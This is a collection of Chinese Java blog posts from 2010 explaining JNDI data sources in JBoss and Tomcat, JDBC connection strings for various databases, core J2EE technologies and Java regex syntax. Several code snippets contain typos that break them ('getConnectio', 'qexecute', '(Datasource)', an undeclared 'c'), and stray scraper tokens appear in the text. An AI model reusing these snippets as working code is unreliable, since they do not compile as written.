这是传统的做法,这种做法一般在小规模的开发过程中不会产生问题,只要程序员熟悉Java语言、了解JDBC技术和MySQL,可以很快开发出相应的应用程序。
没有JNDI的做法存在的问题:
1、数据库服务器名称MyDBServer 、用户名和口令都可能需要改变,由此引发JDBC URL需要修改;
2、数据库可能改用别的产品,如改用DB2或者Oracle,引发JDBC驱动程序包和类名需要修改;
3、随着实际使用终端的增加,原配置的连接池参数可能需要调整;
4、......
解决办法:
程序员应该不需要关心“具体的数据库后台是什么?JDBC驱动程序是什么?JDBC URL格式是什么?访问数据库的用户名和口令是什么?”等等这些问题,程序员编写的程序应该没有对 JDBC 驱动程序的引用,没有服务器名称,没有用户名称或口令 —— 甚至没有数据库池或连接管理。而是把这些问题交给J2EE容器来配置和管理,程序员只需要对这些配置和管理进行引用即可。
由此,就有了JNDI。
用了JNDI之后的做法:
首先,在在J2EE容器中配置JNDI参数,定义一个数据源,也就是JDBC引用参数,给这个数据源设置一个名称;然后,在程序中,通过数据源名称引用数据源从而访问后台数据库。
具体操作如下(以JBoss为例):
1、配置数据源
在JBoss的 D:\jboss420GA\docs\examples\jca 文件夹下面,有很多不同数据库引用的数据源定义模板。将其中的 mysql-ds.xml 文件Copy到你使用的服务器下,如 D:\jboss420GA\server\default\deploy。
修改 mysql-ds.xml 文件的内容,使之能通过JDBC正确访问你的MySQL数据库,如下:
<?xml version="1.0" encoding="UTF-8"?>
<datasources>
<local-tx-datasource>
<jndi-name>MySqlDS</jndi-name>
<connection-url>jdbc:mysql://localhost:3306/lw</connection-url>
<driver-class>com.mysql.jdbc.Driver</driver-class>
<user-name>root</user-name>
<password>rootpassword</password>
<exception-sorter-class-name>org.jboss.resource.adapter.jdbc.vendor.MySQLExceptionSorter</exception-sorter-class-name>
<metadata>
<type-mapping>mySQL</type-mapping>
</metadata>
</local-tx-datasource>
</datasources>
这里,定义了一个名为MySqlDS的数据源,其参数包括JDBC的URL,驱动类名,用户名及密码等。
2、在程序中引用数据源:
Connection conn=null;
try {
Context ctx=new InitialContext();
Object datasourceRef=ctx.lookup("java:MySqlDS"); //引用数据源
DataSource ds=(Datasource)datasourceRef; conn=ds.getConnection(); /* 使用conn进行数据库SQL操作 */
......
c.close();
} catch(Exception e) {
e.printStackTrace();
} finally { if(conn!=null) {
try {
conn.close();
} catch(SQLException e) { } }}
直接使用JDBC或者通过JNDI引用数据源的编程代码量相差无几,但是现在的程序可以不用关心具体JDBC参数了。
在系统部署后,如果数据库的相关参数变更,只需要重新配置 mysql-ds.xml 修改其中的JDBC参数,只要保证数据源的名称不变,那么程序源代码就无需修改。
由此可见,JNDI避免了程序与数据库之间的紧耦合,使应用更加易于配置、易于部署。
所以,在J2EE规范中,J2EE 中的资源并不局限于 JDBC 数据源。引用的类型有很多,其中包括资源引用(已经讨论过)、环境实体和 EJB 引用。特别是 EJB 引用,它暴露了 JNDI 在 J2EE 中的另外一项关键角色:查找其他应用程序组件。
JNDI原理
sun只是提供了JNDI的接口(即规范),IBM, Novell, Sun 和 WebLogic 和JBOSS已经为 JNDI 提供了服务提供程序,
在JNDI中,在目录结构中的每一个结点称为context。每一个JNDI名字都是相对于context的。这里没有绝对名字的概念存在。对一个应用来说,它可以通过使用 InitialContext 类来得到其第一个context:
Context ctx = new InitialContext();
ctx.bind("name", Object);
ctx.lookup("name");
Context:上下文,我的理解是相当与文件系统的中的目录(JNDI的Naming Service是可以用操作系统的文件系统的,哈哈).
entry/object:一个节点,相当与文件系统中的目录或文件.
filter:查询/过滤条件是一个字符串表达式如:(&(objectClass=top)(cn=*))查询出objectClass属性为top,cn属性为所有情况的entry.
Attribute:entry/object的属性可以理解成JAVA对象的属性,不同的是这个属性可以多次赋值.
A.将接口分为Context 和 DirContext
JNDI有两个核心接口Context和DirContext,Context中包含 了基本的名字操作,而DirContext则将这些操作扩展到目录服务。DirContext 对Context进行了扩展,提供了基本的目录服务操作, 对名字对象属性的维护、基于属性的名字查找等等。
B.上下文列表的多种方法
一般来说有两种进行上下文列表的应用:上下文浏览应用和对上下文中的对象进行实际操作的应用。
上下文浏览应用一般只需要显示上下文中包含内容的名字,或者再获取一些诸如对象的类型之类的信息。这种类型的应用一般都是交互式的,可以允许用户在列举的上下文列表中选择一些进行进一步的显示。
另外有一些应用需要对上下文中的对象进行实际的操作,比如,一个备份程序需要对目录中所有文件的状态进行操作,或者某打印机管理员可能需要对大楼中的所有打印机进行复位。为了进行这样的操作,程序需要获取上下文中的实际对象。
对于这样两种类型的应用,Context接口提供了两种上下文列表方法list()和 listBindings()。其中list()只返回一系列名字/类映射,而listBindings() 则返回名字、类和对象本身。显然 list()用于上下文浏览应用而listBindings()用于那些需要对对象进行实际操作的应用。
例:
=================将以下代码段添加到server.xml中的<Host>中============
<!-- configure DataSource. Add the following code into server.xml -->
<Context path="/bookstore" docBase="bookstore" debug="0"
reloadable="true" >
<!-- 数据源名称 -->
<Resource name="jdbc/BookDB"
auth="Container"
type="javax.sql.DataSource" />
<ResourceParams name="jdbc/BookDB">
<parameter>
<name>factory</name>
<value>org.apache.commons.dbcp.BasicDataSourceFactory</value>
</parameter>
<!-- Maximum number of dB connections in pool. Make sure you
configure your mysqld max_connections large enough to handle
all of your db connections. Set to 0 for no limit.
-->
<!-- 活动状态最大连接数 -->
<parameter>
<name>maxActive</name>
<value>100</value>
</parameter>
<!-- Maximum number of idle dB connections to retain in pool.
Set to 0 for no limit.
-->
<!-- 空闲状态数据库连接最大数 -->
<parameter>
<name>maxIdle</name>
<value>30</value>
</parameter>
<!-- Maximum time to wait for a dB connection to become available
in ms, in this example 10 seconds. An Exception is thrown if
this timeout is exceeded. Set to -1 to wait indefinitely.
Maximum time to wait for a dB connection to become available
in ms, in this example 10 seconds. An Exception is thrown if
this timeout is exceeded. Set to -1 to wait indefinitely.
-->
<!-- 数据库处于空闲状态的最长时间 -->
<parameter>
<name>maxWait</name>
<value>10000</value>
</parameter>
<!-- MySQL dB username and password for dB connections -->
<!-- 指定连接数据库的用户名及密码 -->
<parameter>
<name>username</name>
<value>dbuser</value>
</parameter>
<parameter>
<name>password</name>
<value>1234</value>
</parameter>
<!-- Class name for mm.mysql JDBC driver -->
<!-- 指定JDBC驱动 -->
<parameter>
<name>driverClassName</name>
<value>com.mysql.jdbc.Driver</value>
</parameter>
<!-- The JDBC connection url for connecting to your MySQL dB.
The autoReconnect=true argument to the url makes sure that the
mm.mysql JDBC Driver will automatically reconnect if mysqld closed the
connection. mysqld by default closes idle connections after 8 hours.
-->
<!-- 指定连接数据库的URL -->
<parameter>
<name>url</name>
<value>jdbc:mysql://localhost:3306/BookDB?autoReconnect=true</value>
</parameter>
</ResourceParams>
</Context>
运行机制:
1、 首先程序代码获取初始化的 JNDI 环境并且调用 Context.lookup() 方法从 JNDI 服务提供者那里获一个 DataSource 对象
2、 中间层 JNDI 服务提供者返回一个 DataSource 对象给当前的 Java 应用程序这个 DataSource 对象代表了中间层服务上现存的缓冲数据源
3、 应用程序调用 DataSource 对象的 getConnection() 方法
4、 当 DataSource 对象的 getConnection() 方法被调用时,中间层服务器将查询数据库 连接缓冲池中有没有 PooledConnection 接口的实例对象。这个 PooledConnection 对象将被用于与数据库建立物理上的数据库连接
5、 如果在缓冲池中命中了一个 PooledCoonection 对象那么连接缓冲池将简单地更 新内部的缓冲连接队列并将该 PooledConnection 对象返回。如果在缓冲池内没 有找到现成的 PooledConnection 对象,那么 ConnectionPoolDataSource 接口将会被 用来产生一个新的 PooledConnection 对象并将它返回以便应用程序使用
6。 中间层服务器调用 PooledConnection 对象的 getConnection() 方法以便返还一个 java.sql.Connection 对象给当前的 Java 应用程序
7、 当中间层服务器调用 PooledConnection 对象的 getConnection() 方法时, JDBC 数据 库驱动程序将会创建一个 Connection 对象并且把它返回中间层服务器
8、 中间层服务器将 Connection 对象返回给应用程序 Java 应用程序,可以认为这个 Connection 对象是一个普通的 JDBC Connection 对象使用它可以和数据库建立。事 实上的连接与数据库引擎产生交互操作 。
9、 当应用程序不需要使用 Connection 对象时,可以调用 Connection 接口的 close() 方 法。请注意这种情况下 close() 方法并没有关闭事实上的数据库连接,仅仅是释 放了被应用程序占用的数据库连接,并将它还给数据库连接缓冲池,数据库连接 缓冲池会自动将这个数据库连接交给请求队列中下一个的应用程序使用。
posted @
2010-02-23 10:36 junly 阅读(1355) |
评论 (0) |
编辑 收藏
JDBC-ODBC桥连接数据库
不足:需要在客户端安装ODBC驱动程序,ODBC驱动程序还需要具有客户端的控制权限。
方法:
1.创建数据源
2.装载驱动并与DBMS建立连接
Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
Connection con=DriverManager.getConnectio("jdbc:odbc:jia","sa","123");
3.查询
Statement stmt = con.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_READ_ONLY);
ResultSet rs = stmt.executeQuery(sql);
4.更新
Statement stmt = con.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_READ_ONLY);
if(stmt.executeUpdate(sql)<=0){return false;}
else{return true;}
5.读取数据
Statement 接口提供了3种执行SQL语句的方法:
qexecuteQuery()
qexecuteUpdate()
qexecute()
6.tTransaction
Connection con=DriverManager.getConnectio("jdbc:odbc:jia","sa","123");
con.setAutoCommit(false);//关闭自动提交模式
Statement stmt = con.createStatement();
stmt.qexecute(sql);
stmt.qexecute(sql);
stmt.qexecute(sql);
con.commit(); //提交
con.setAutoCommit(true);//开启自动提交模式
con.rollback(); //回滚
7.关闭连接对象
con.close();
con.isClosed();
JDBC连接数据库
方法:
1.Oracle8/8i/9i数据库(thin模式)
Class.forName("oracle.jdbc.driver.OracleDriver").newInstance();
String url="jdbc:oracle:thin:@localhost:1521:orcl"; //orcl为数据库SID
String user="test";
String password="test";
Connection conn= DriverManager.getConnection(url,user,password);
2.DB2数据库
Class.forName("com.ibm.db2.jdbc.app.DB2Driver ").newInstance();
String url="jdbc:db2://localhost:5000/sample"; //sample为你的数据库名
String user="admin";
String password="";
Connection conn= DriverManager.getConnection(url,user,password);
3.Sql Server7.0/2000数据库
Class.forName("com.microsoft.jdbc.sqlserver.SQLServerDriver").newInstance();
String url="jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=mydb"; //mydb为数据库
String user="sa";
String password="";
Connection conn= DriverManager.getConnection(url,user,password);
4.Sybase数据库
Class.forName("com.sybase.jdbc.SybDriver").newInstance();
String url =" jdbc:sybase:Tds:localhost:5007/myDB";//myDB为你的数据库名
Properties sysProps = System.getProperties();
SysProps.put("user","userid");
SysProps.put("password","user_password");
Connection conn= DriverManager.getConnection(url, SysProps);
5.Informix数据库
Class.forName("com.informix.jdbc.IfxDriver").newInstance();
String url = "jdbc:informix-sqli://123.45.67.89:1533/myDB:INFORMIXSERVER=myserver;
user=testuser;password=testpassword"; //myDB为数据库名
Connection conn= DriverManager.getConnection(url);
6.MySQL数据库
Class.forName("org.gjt.mm.mysql.Driver").newInstance();
String url ="jdbc:mysql://localhost/myDB?user=soft&password=soft1234&useUnicode=true&characterEncoding=8859_1" //myDB为数据库名
Connection conn= DriverManager.getConnection(url);
7.PostgreSQL数据库
Class.forName("org.postgresql.Driver").newInstance();
String url ="jdbc:postgresql://localhost/myDB" //myDB为数据库名
String user="myuser";
String password="mypassword";
Connection conn= DriverManager.getConnection(url,user,password);
8.access数据库直连用ODBC的
Class.forName("sun.jdbc.odbc.JdbcOdbcDriver") ;
String url="jdbc:odbc:Driver={MicroSoft Access Driver (*.mdb)};DBQ="+application.getRealPath("/Data/ReportDemo.mdb");
Connection conn = DriverManager.getConnection(url,"","");
Statement stmtNew=conn.createStatement() ;
posted @
2010-02-23 10:33 junly 阅读(319) |
评论 (0) |
编辑 收藏
J2EE平台由一整套服务(Services)、应用程序接口(APIs)和协议构成,它对开发基于Web的多层应用提供了功能支持。在本文中将解释支撑J2EE的13种核心技术:
JDBC,JNDI,EJBs,RMI,JSP,Javaservlets,XML,JMS,JavaIDL,JTS, JTA,JavaMail和JAF,同时还将描述在何时、何处需要使用这些技术。当然,我还要介绍这些不同的技术之间是如何交互的。此外,为了让您更好地 感受J2EE的真实应用,将在WebLogic应用服务器,来自BEA Systems公司的一种广为应用的产品环境下来介绍这些技术。不论对于Web Logic应用服务器和J2EE的新手,还是那些想了解J2EE能带来什么好处的项目管理者和系统分析员,相信本文一定很有参考价值。
一、宏观印象:分布式结构和J2EE
过去,二层化应用--通常被称为client/server应用--是大家谈论的最多的。在很多情况下,服务器提供的惟一服务就是数据库服务。在这 种解决方案中,客户端程序负责数据访问、实现业务逻辑、用合适的样式显示结果、弹出预设的用户界面、接受用户输入等。client/server结构通常 在第一次部署的时候比较容易,但难于升级或改进,而且经常基于某种专有的协议,通常是某种数据库协议。它使得重用业务逻辑和界面逻辑非常困难。更重要的 是,在Web时代,二层化应用通常不能体现出很好的伸缩性,因而很难适应Internet的要求。
Sun设计J2EE的部分起因就是想解决二层化结构的缺陷。于是,J2EE定义了一套标准来简化N层企业级应用的开发。它定义了一套标准化的组件,并为这些组件提供了完整的服务。J2EE还自动为应用程序处理了很多实现细节,如安全、多线程等。
用J2EE开发N层应用包括将二层化结构中的不同层面切分成许多层。一个N层化应用A能够为以下的每种服务提供一个分开的层:
显示:在一个典型的Web应用中,客户端机器上运行的浏览器负责实现用户界面。 字串1
动态生成显示:尽管浏览器可以完成某些动态内容显示,但为了兼容不同的浏览器,这些动态生成工作应该放在Web服务器端进行,使用JSP、Servlets,或者XML(可扩展标记语言)和(可扩展样式表语言)。 字串6
业务逻辑:业务逻辑适合用SessionEJBs(后面将介绍)来实现。
数据访问:数据访问适合用EntityEJBs(后面将介绍)和JDBC来实现。
后台系统集成:同后台系统的集成可能需要用到许多不同的技术,至于何种最佳需要根据后台系统的特征而定。
您可能开始诧异:为什么有这么多的层?事实上,多层方式可以使企业级应用具有很强的伸缩性,它允许每层专注于特定的角色。例如,让Web服务器负责提供页面,应用服务器处理应用逻辑,而数据库服务器提供数据库服务。
由于J2EE建立在Java2平台标准版(J2SE)的基础上,所以具备了J2SE的所有优点和功能。包括“编写一次,到处可用”的可移植性、通过 JDBC访问数据库、同原有企业资源进行交互的CORBA技术,以及一个经过验证的安全模型。在这些基础上,J2EE又增加了对EJB(企业级Java组 件)、Javaservlets、Java服务器页面(JSPs)和XML技术的支持。
二、分布式结构与WebLogic应用服务器
J2EE提供了一个框架--一套标准API--用于开发分布式结构的应用,这个框架的实际实现留给了第三方厂商。部分厂商只是专注于整个J2EE架 构中的的特定组件,例如Apache的Tomcat提供了对JSP和servlets的支持,BEA系统公司则通过其WebLogic应用服务器产品为整 个J2EE规范提供了一个较为完整的实现。
WebLogic服务器已使建立和部署伸缩性较好的分布式应用的过程大为简化。WebLogic和J2EE代你处理了大量常规的编程任务,包括提供事务服务、安全领域、可靠的消息、名字和目录服务、数据库访问和连接池、线程池、负载平衡和容错处理等。
通过以一种标准、易用的方式提供这些公共服务,象WebLogic服务器这样的产品造就了具有更好伸缩性和可维护性的应用系统,使其为大量的用户提供了增长的可用性。
J2EE技术
在接下来的部分里,我们将描述构成J2EE的各种技术,并且了解WebLogic服务器是如何在一个分布式应用中对它们进行支持的。最常用的J2EE技术应该是JDBC、JNDI、EJB、JSP和servlets,对这些我们将作更仔细的考察。
三、Java Database Connectivity(JDBC)
JDBCAPI以一种统一的方式来对各种各样的数据库进行存取。和ODBC一样,JDBC为开发人员隐藏了不同数据库的不同特性。另外,由于JDBC建立在Java的基础上,因此还提供了数据库存取的平台独立性。 字串5
JDBC定义了4种不同的驱动程序,现分述如下:
类型1:JDBC-ODBCBridge
在JDBC出现的初期,JDBC-ODBC桥显然是非常有实用意义的,通过JDBC-ODBC桥,开发人员可以使用JDBC来存取ODBC数据源。 不足的是,他需要在客户端安装ODBC驱动程序,换句话说,必须安装MicrosoftWindows的某个版本。使用这一类型你需要牺牲JDBC的平台 独立性。另外,ODBC驱动程序还需要具有客户端的控制权限。
类型2:JDBC-nativedriverbridge
JDBC本地驱动程序桥提供了一种JDBC接口,它建立在本地数据库驱动程序的顶层,而不需要使用ODBC。JDBC驱动程序将对数据库的API从标准的JDBC调用转换为本地调用。使用此类型需要牺牲JDBC的平台独立性,还要求在客户端安装一些本地代码。 字串3
类型3:JDBC-networkbridge
JDBC网络桥驱动程序不再需要客户端数据库驱动程序。它使用网络上的中间服务器来存取数据库。这种应用使得以下技术的实现有了可能,这些技术包括 负载均衡、连接缓冲池和数据缓存等。由于第3种类型往往只需要相对更少的下载时间,具有平台独立性,而且不需要在客户端安装并取得控制权,所以很适合于 Internet上的应用。
类型4:PureJavadriver
第4种类型通过使用一个纯Java数据库驱动程序来执行数据库的直接访问。此类型实际上在客户端实现了2层结构。要在N-层结构中应用,一个更好的做法是编写一个EJB,让它包含存取代码并提供一个对客户端具有数据库独立性的服务。
WebLogic服务器为一些通常的数据库提供了JDBC驱动程序,包括Oracle,Sybase,MicrosoftSQLServer以及 Informix。它也带有一种JDBC驱动程序用于Cloudscape,这是一种纯Java的DBMS,WebLogic服务器中带有该数据库的评估 版本。
以下让我们看一个JDBC实例:在这个例子中我们假定你已经在Cloudscape中建立了一个PhoneBook数据库,并且包含一个表,名为 CONTACT_TABLE,它带有2个字段:NAME和PHONE。开始的时候先装载CloudscapeJDBCdriver,并请求 drivermanager得到一个对PhoneBookCloudscape数据库的连接。通过这一连接,我们可以构造一个Statement对象并用 它来执行一个简单的SQL查询。最后,用循环来遍历结果集的所有数据,并用标准输出将NAME和PHONE字段的内容进行输出。
import java.sql.*; 字串5 public class JDBCExample{public static void main( String args[] ){try{Class.forName("COM.cloudscape.core.JDBCDriver");Connection conn = DriverManager.getConnection("jdbc:cloudscape:PhoneBook");Statement stmt = conn.createStatement();String sql = "SELECT name, phone FROM CONTACT_TABLE ORDER BYname";ResultSet resultSet = stmt.executeQuery( sql ); 字串8 String name;String phone;while ( resultSet.next() ){name = resultSet.getString(1).trim();phone = resultSet.getString(2).trim();System.out.println( name + ", " + phone ); }catch ( Exception e ){// Handle exception heree.printStackTrace();}}}
OK。接着来看一看JDBC是如何在企业应用中的进行使用。
JDBC在企业级应用中的应用。以上实例其实是很基本的,可能有些微不足道。它假定了一个2层结构。在一个多层的企业级应用中,更大的可能是在客户 端和一个EJB进行通信,该EJB将建立数据库连接。为了实现和改进可伸缩性和系统性能, WebLogic服务器提供了对连接缓冲池connection pool的支持。
Connection pool减少了建立和释放数据库连接的消耗。在系统启动以后即可建立这样的缓冲池,此后如故再有对数据库的请求,WebLogic服务器可以很简单地从缓 冲池中取出数据。数据缓冲池可以在WebLogic服务器的 weblogic.properties 文件中进行定义。
在企业级应用的另一个常见的数据库特性是事务处理。事务是一组申明statement,它们必须做为同一个statement来处理以保证数据完整 性。缺省情况下JDBC使用 auto-commit 事务模式。这可以通过使用Connection类的setAutoCommit() 方法来实现。现在已经对JDBC有了一些认识,下面该转向JNDI了。
四、Java Naming and Directory Interface (JNDI) 字串3
JNDI API被用于执行名字和目录服务。它提供了一致的模型来存取和操作企业级的资源如DNS和LDAP,本地文件系统,后者在应用服务器中的对象。在JNDI 中,在目录结构中的每一个结点称为context。每一个JNDI名字都是相对于context的。这里没有绝对名字的概念存在。对一个应用来说,它可以 通过使用 InitialContext 类来得到其第一个context: 字串6
Context ctx = new InitialContext();
应用可以通过这个初始化的context经有这个目录树 来定位它所需要的资源或对象。例如,假设你在Weblogic服务器中展开了一个EJB并将home接口绑定到名字 myApp.myEJB ,那么该EJB的某个客户在取得一个初始化context以后,可以通过以下语句定位home接口:
MyEJBHome home = ctx.lookup( "myApp.myEJB" );
在这个例子中,一旦你有了对被请求对象的参考,EJB的home接口就可以在它上面调用方法。我们将在下面的"Enterprise Java Beans"章节中做更多的介绍。
以上关于JNDI的讨论只是冰山之一角而已。如果要更进一步地在context中查找对象,JNDI也提供了一些方法来进行以下操作:将一个对象插 入或绑定到context。这在你展开一个EJB的时候是很有效的。从context中移去对象。列出context中的所有对象。创建或删除子一级的 context。接下来,要开始关注EJB了。
五、Enterprise Java Beans (EJB)
J2EE技术之所以赢得某体广泛重视的原因之一就是EJB。它们提供了一个框架来开发和实施分布式商务逻辑,由此很显著地简化了具有可伸缩性和高度 复杂的企业级应用的开发。EJB规范定义了EJB组件在何时如何与它们的容器进行交互作用。容器负责提供公用的服务,例如目录服务、事务管理、安全性、资 源缓冲池以及容错性。 字串8
EJB规范定义了三种基本的bean类型:
Stateless session beans: 提供某种单一的服务,不维持任何状态,在服务器故障发生时无法继续存在,生命期相对较短。例如,一个stateless sessionbean可能被用于执行温度转换计算。
Stateful session bean: T提供了与客户端的会话交互,可以存储状态从而代表一个客户。典型例子是购物车。Stateful session bean在服务器故障时无法继续生存,生命气相对较短。每一个实例只用于一个单个的线程。
Entity beans: 提供了一致性数据的表示-- 通常存放在数据库中 -- 在服务器故障发生后能继续存在。多用户情况下可以使用EJB来表示相同的数据。entity EJB的一个典型例子是客户的帐号信息。 字串2
尽管有以上的区别,所有的EJB还是有许多的共同之处。它们都处理homeinterface。它定义了一个客户端是如何创建与消亡EJB的。可以 在bean中对定义了客户端方法的远程接口进行调用;bean类则执行了主要的商务逻辑。描述EJB的开发已经超出了本文的范围。但是,如果一个EJB已 经被开发了或者从第三方进行了购买,它就必须在应用服务器中进行发布。WebLogic Server 5.1带有一个EJB Deployer Tool来协助处理EJB的发布。当你使用EJB Deployer Tool的时候,你要定义客户端所用的JNDI名字来定位EJB。Deployer Tool将生成wrapper类来处理和容器的通信以及在一个jar文件中把被请求的Java类绑定在一起。
一旦EJB被发布,客户端就可以使用它的JNDI名字来定位EJB。首先,它必须得到一个到home接口的reference。然后,客户端可以使 用该接口,调用一个create() 方法来得到服务器上运行的某个bean实例的句柄;最后,客户端可以使用该句柄在bean中调用方法。了解 EJB后,让我们再来看JSP。 字串4
六、JavaServer Pages (JSPs) 字串4
可能已经有许多人已经熟悉Microsoft的Active Server Pages(ASP)技术了。JSP和ASP相对应的,但更具有平台对立性。他们被设计用以帮助Web内容开发人员创建动态网页,并且只需要相对较少的代 码。 即使Web设计师不懂得如何编程也可以使用JSP,因为JSP应用是很方便的。 JSP页面由HTML代码和嵌入其中的Java代码所组成。服务器在页面被客户端所请求以后对这些Java代码进行处理,然后将生成的HTML页面返回给 客户端的浏览器。 字串5
下面来看一个JSP的简单实例。它只显示了服务器的当前日期和时间。虽然,对语法的具体解释已经超出了本文的范围,但我们还是可以很直观地看到,Java代码被放在 符号的中间,而Java的表达式则放在符号之间。
<H1>Date JSP sample</H1><H2><% response.setHeader("Refresh", 5); %>The current date is <%= new Date() %>.</H2> 字串1
下面是: Java servlets
七、Java Servlets
Servlet 提供的功能大多与JSP类似,不过实现的方式不同。JSP通常是大多数HTML代码中嵌入少量的Java代码,而servlets全部由Java写成并且 生成HTML。Servlet是一种小型的Java程序,它扩展了Web服务器的功能。作为一种服务器端的应用,当被请求时开始执行,这和CGI Perl脚本很相似。Servlets和CGI脚本的一个很大的区别是:每一个CGI在开始的时候都要求开始一个新的进程 -- 而servlets是在servlet引擎中以分离的线程来运行的。因此servlets在可伸缩性上提供了很好的改进。
在开发servlets的时候,您常常需要扩展javax.servlet.http.HttpServlet类,并且override一些它的方法,其中包括:
service(): 作为dispatcher来实现命令-定义方法
doGet(): 处理客户端的HTTP GET请求。
doPost(): 进行HTTP POST操作 字串7
其它的方法还包括处理不同类型的HTTP请求 -- 可以参考HttpServlet API文档。以上描述的是标准J2EE Servlet API的各种方法。WebLogic服务器提供了一个该API完整的实现途径。一旦你开发了一个servlet,你就可以在 weblogic.properties 中加以注册并由此可以在WebLogic服务器中对它进行配置。 字串8
通过Java servlets,我们已经到达了J2EE主要技术的末尾了。但J2EE所提供的并不止于这些。下面的段落中我们将简要地看一下现存的一些技术,包括RMI,Java IDL和CORBA, JTA, 以及XML,等等。 字串1
八、Remote Method Invocation (RMI)
正如其名字所表示的那样,RMI协议是在远程对象上调用一些方法。它使用了连续序列方式在客户端和服务器端传递数据。RMI是一种被EJB使用的更下层的协议。 字串5
九、Java IDL/CORBA 字串5
在Java IDL的支持下,开发人员可以将Java和CORBA集成在一起。 他们可以创建Java对象并使之可在CORBA ORB中展开, 或者他们还可以创建Java类并作为和其它ORB一起展开的CORBA对象的客户。后一种方法提供了另外一种途径,通过它Java可以被用于将你的新的应 用和legacy系统相集成。 字串4
十、Java Transaction Architecture (JTA)/Java Transaction Service (JTS)
JTA定义了一种标准的API,应用系统由此可以存取各种事务监控。JTS是CORBA OTS事务监控的基本的实现。JTS规定了事务管理器的实现方式。该事务管理器是在高层支持Java Transaction API (JTA)规范,并且在较底层实现OMG OTS specification的Java映像。JTS事务管理器为应用服务器、资源管理器、独立的应用以及通信资源管理器提供了事务服务。
十一、JavaMail and JavaBeans Activation Framework
JavaMail是用于存取邮件服务器的API,它提供了一套邮件服务器的抽象类。仅支持SMTP服务器,也支持IMAP服务器。JavaMail 利用JavaBeans Activation Framework (JAF)来处理MIME-编码的邮件附件。MIME的字节流可以被转换成Java对象,或者转换自Java对象。由此大多数应用都可以不需要直接使用 JAF。
十二、Java Messaging Service (JMS)
JMS是用于和面向消息的中间件相互通信的应用程序接口(API)。它既支持点对点的域,有支持发布/订阅(publish/subscribe) 类型的域,并且提供对下列类型的支持:经认可的消息传递,事务型消息的传递,一致性消息和具有持久性的订阅者支持。JMS还提供了另一种方式来对您的应用 与legacy backend系统相集成。
十三、Extensible Markup Language (XML) 字串7
XML是一种可以用来定义其它标记语言的语言。它被用来在不同的商务过程中共享数据。XML的发展和Java是相互独立的,但是,它和Java具有 的相同目标正是平台独立性。通过将Java和XML的组合,您可以得到一个完美的具有平台独立性的解决方案。目前正有许多不同的公司在为Java和XML 的组合而努力。如果要了解更多的这方面的信息,可以访问Sun的Java-XML页面,或者IBM developerWorks的XML Zone。
posted @
2010-02-21 16:28 junly 阅读(331) |
评论 (0) |
编辑 收藏
摘要:
引言
在web开发中,session是个非常重要的概念。在许多动态网站的开发者看来,session就是一个变量,而且其表现像个黑洞,他只需要将东西在合适的时机放进这个洞里,等需要的时候再把东西取出来。这是开发者对session最直观的感受,但是黑洞里的景象或者说session内部到底是怎么工作的呢?当笔者向身边的一些同事或朋友问及相关的更进一...
阅读全文
posted @
2010-02-20 12:48 junly 阅读(1039) |
评论 (0) |
编辑 收藏
表达式意义:
1.字符
x 字符 x。例如a表示字符a
\\ 反斜线字符。在书写时要写为\\\\。(注意:因为java在第一次解析时,把\\\\解析成正则表达式\\,在第二次解析时再解析为\,所以凡是不是1.1列举到的转义字符,包括1.1的\\,而又带有\的都要写两次)
\0n 带有八进制值 0的字符 n (0 <= n <= 7)
\0nn 带有八进制值 0的字符 nn (0 <= n <= 7)
\0mnn 带有八进制值 0的字符 mnn(0 <= m <= 3、0 <= n <= 7)
\xhh 带有十六进制值 0x的字符 hh
\uhhhh 带有十六进制值 0x的字符 hhhh
\t 制表符 ('\u0009')
\n 新行(换行)符 ('\u000A')
\r 回车符 ('\u000D')
\f 换页符 ('\u000C')
\a 报警 (bell) 符 ('\u0007')
\e 转义符 ('\u001B')
\cx 对应于 x 的控制符
2.字符类
[abc] a、b或 c(简单类)。例如[egd]表示包含有字符e、g或d。
[^abc] 任何字符,除了 a、b或 c(否定)。例如[^egd]表示不包含字符e、g或d。
[a-zA-Z] a到 z或 A到 Z,两头的字母包括在内(范围)
[a-d[m-p]] a到 d或 m到 p:[a-dm-p](并集)
[a-z&&[def]] d、e或 f(交集)
[a-z&&[^bc]] a到 z,除了 b和 c:[ad-z](减去)
[a-z&&[^m-p]] a到 z,而非 m到 p:[a-lq-z](减去)
3.预定义字符类(注意反斜杠要写两次,例如\d写为\\d)任何字符
(与行结束符可能匹配也可能不匹配)
\d 数字:[0-9]
\D 非数字: [^0-9]
\s 空白字符:[ \t\n\x0B\f\r]
\S 非空白字符:[^\s]
\w 单词字符:[a-zA-Z_0-9]
\W 非单词字符:[^\w]
4.POSIX 字符类(仅 US-ASCII)(注意反斜杠要写两次,例如\p{Lower}写为\\p{Lower})
\p{Lower} 小写字母字符:[a-z]。
\p{Upper} 大写字母字符:[A-Z]
\p{ASCII} 所有 ASCII:[\x00-\x7F]
\p{Alpha} 字母字符:[\p{Lower}\p{Upper}]
\p{Digit} 十进制数字:[0-9]
\p{Alnum} 字母数字字符:[\p{Alpha}\p{Digit}]
\p{Punct} 标点符号:!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
\p{Graph} 可见字符:[\p{Alnum}\p{Punct}]
\p{Print} 可打印字符:[\p{Graph}\x20]
\p{Blank} 空格或制表符:[ \t]
\p{Cntrl} 控制字符:[\x00-\x1F\x7F]
\p{XDigit} 十六进制数字:[0-9a-fA-F]
\p{Space} 空白字符:[ \t\n\x0B\f\r]
5.java.lang.Character 类(简单的 java 字符类型)
\p{javaLowerCase} 等效于 java.lang.Character.isLowerCase()
\p{javaUpperCase} 等效于 java.lang.Character.isUpperCase()
\p{javaWhitespace} 等效于 java.lang.Character.isWhitespace()
\p{javaMirrored} 等效于 java.lang.Character.isMirrored()
6.Unicode 块和类别的类
\p{InGreek} Greek 块(简单块)中的字符
\p{Lu} 大写字母(简单类别)
\p{Sc} 货币符号
\P{InGreek} 所有字符,Greek 块中的除外(否定)
[\p{L}&&[^\p{Lu}]] 所有字母,大写字母除外(减去)
7.边界匹配器
^ 行的开头,请在正则表达式的开始处使用^。例如:^(abc)表示以abc开头的字符串。注意编译的时候要设置参数MULTILINE,如 Pattern p = Pattern.compile(regex,Pattern.MULTILINE);
$ 行的结尾,请在正则表达式的结束处使用。例如:(^bca).*(abc$)表示以bca开头以abc结尾的行。
\b 单词边界。例如\b(abc)表示单词的开始或结束包含有abc,(abcjj、jjabc 都可以匹配)
